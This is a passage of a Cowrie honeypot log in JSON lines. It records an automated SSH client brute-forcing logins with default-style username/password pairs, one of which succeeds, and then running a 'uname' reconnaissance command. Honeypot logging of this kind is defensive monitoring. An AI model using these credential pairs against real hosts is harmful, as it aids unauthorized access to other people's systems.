0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:25.380449Z","src_ip":"95.38.165.118","session":"5c7f3bc98e2a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:25.894276Z","src_ip":"95.38.165.118","session":"5c7f3bc98e2a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:26.276697Z","src_ip":"95.38.165.118","session":"5c7f3bc98e2a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:26.280466Z","src_ip":"95.38.165.118","session":"5c7f3bc98e2a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:26.451551Z","src_ip":"95.38.165.118","session":"5c7f3bc98e2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:26.457451Z","src_ip":"95.38.165.118","session":"5c7f3bc98e2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":47590,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f70b1b815e6","protocol":"ssh","message":"New connection: 95.38.165.118:47590 (10.17.0.5:22) [session: 8f70b1b815e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:31.232268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:31.552702Z","src_ip":"95.38.165.118","session":"8f70b1b815e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:31.556434Z","src_ip":"95.38.165.118","session":"8f70b1b815e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:32.239413Z","src_ip":"95.38.165.118","session":"8f70b1b815e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:34.260497Z","src_ip":"95.38.165.118","session":"8f70b1b815e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33466,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8063317d625","protocol":"telnet","message":"New connection: 69.4.83.194:33466 (159.203.135.109:23) [session: d8063317d625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:34.388210Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":47598,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ad8b00e78f4","protocol":"ssh","message":"New connection: 95.38.165.118:47598 (10.17.0.5:22) [session: 9ad8b00e78f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:34.999706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:35.005335Z","src_ip":"95.38.165.118","session":"9ad8b00e78f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:35.581230Z","src_ip":"95.38.165.118","session":"9ad8b00e78f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:37.033213Z","src_ip":"95.38.165.118","session":"9ad8b00e78f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:38.623161Z","src_ip":"95.38.165.118","session":"9ad8b00e78f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":35576,"dst_ip":"10.17.0.5","dst_port":22,"session":"f964284fa97b","protocol":"ssh","message":"New connection: 95.38.165.118:35576 (10.17.0.5:22) [session: f964284fa97b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:40.381531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:40.390316Z","src_ip":"95.38.165.118","session":"f964284fa97b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:41.205392Z","src_ip":"95.38.165.118","session":"f964284fa97b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:41.680544Z","src_ip":"95.38.165.118","session":"f964284fa97b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:42.846728Z","src_ip":"95.38.165.118","session":"f964284fa97b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":35588,"dst_ip":"10.17.0.5","dst_port":22,"session":"e686022195a0","protocol":"ssh","message":"New connection: 95.38.165.118:35588 (10.17.0.5:22) [session: e686022195a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:45.688611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:45.696585Z","src_ip":"95.38.165.118","session":"e686022195a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:45.865664Z","src_ip":"95.38.165.118","session":"e686022195a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:46.386248Z","src_ip":"95.38.165.118","session":"e686022195a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:48.249224Z","src_ip":"95.38.165.118","session":"e686022195a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":50808,"dst_ip":"10.17.0.5","dst_port":22,"session":"54d204012592","protocol":"ssh","message":"New connection: 95.38.165.118:50808 (10.17.0.5:22) [session: 54d204012592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:50.709474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:50.714497Z","src_ip":"95.38.165.118","session":"54d204012592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:50.884016Z","src_ip":"95.38.165.118","session":"54d204012592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:51.879369Z","src_ip":"95.38.165.118","session":"54d204012592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.94072222709656,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:52.309693Z","src_ip":"69.4.83.194","session":"140f0a7892f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:53.053596Z","src_ip":"95.38.165.118","session":"54d204012592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":50820,"dst_ip":"10.17.0.5","dst_port":22,"session":"99c401330bb5","protocol":"ssh","message":"New connection: 95.38.165.118:50820 (10.17.0.5:22) [session: 99c401330bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:55.572077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:55.577575Z","src_ip":"95.38.165.118","session":"99c401330bb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:55.988844Z","src_ip":"95.38.165.118","session":"99c401330bb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:56.838244Z","src_ip":"95.38.165.118","session":"99c401330bb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:10:58.445362Z","src_ip":"95.38.165.118","session":"99c401330bb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":33960,"dst_ip":"10.17.0.5","dst_port":22,"session":"15455a1e3d21","protocol":"ssh","message":"New connection: 95.38.165.118:33960 (10.17.0.5:22) [session: 15455a1e3d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:01.298891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:01.306477Z","src_ip":"95.38.165.118","session":"15455a1e3d21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:01.473948Z","src_ip":"95.38.165.118","session":"15455a1e3d21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:01.981185Z","src_ip":"95.38.165.118","session":"15455a1e3d21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:03.152775Z","src_ip":"95.38.165.118","session":"15455a1e3d21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":35596,"dst_ip":"10.17.0.5","dst_port":22,"session":"c12dbf8d27da","protocol":"ssh","message":"New connection: 95.38.165.118:35596 (10.17.0.5:22) [session: c12dbf8d27da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:06.440045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:11:06.446493Z","src_ip":"95.38.165.118","session":"c12dbf8d27da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hm